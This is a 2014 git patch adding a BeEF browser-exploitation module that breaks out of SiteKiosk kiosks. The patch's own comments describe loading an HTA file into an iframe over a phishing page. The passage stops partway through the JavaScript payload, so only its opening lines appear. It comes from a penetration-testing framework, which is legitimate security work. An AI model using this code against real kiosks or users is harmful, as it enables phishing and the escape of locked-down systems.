From c24a8c2ec5f568d259eaa3e7e28c055fa62b52fa Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sun, 7 Sep 2014 23:18:41 +0200 Subject: [PATCH] Added @insertscript module to break-out from SiteKiosk --- .../sitekiosk_breakout/command.js | 20 +++++++++++++ .../sitekiosk_breakout/config.yaml | 16 ++++++++++ .../sitekiosk_breakout/module.rb | 29 +++++++++++++++++++ 3 files changed, 65 insertions(+) create mode 100644 modules/social_engineering/sitekiosk_breakout/command.js create mode 100644 modules/social_engineering/sitekiosk_breakout/config.yaml create mode 100644 modules/social_engineering/sitekiosk_breakout/module.rb diff --git a/modules/social_engineering/sitekiosk_breakout/command.js b/modules/social_engineering/sitekiosk_breakout/command.js new file mode 100644 index 000000000..da99103db --- /dev/null +++ b/modules/social_engineering/sitekiosk_breakout/command.js @@ -0,0 +1,20 @@ +// +// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + if(beef.browser.isIE()){ + // application='yes' is IE-only and needed to load the HTA into an IFrame. + // in this way you can have your phishing page, and load the HTA on top of it + // beef.dom.createIframe('hidden', {'src':hta_url,'application':'yes'}); + bb = new MSBlobBuilder(); + bb.append('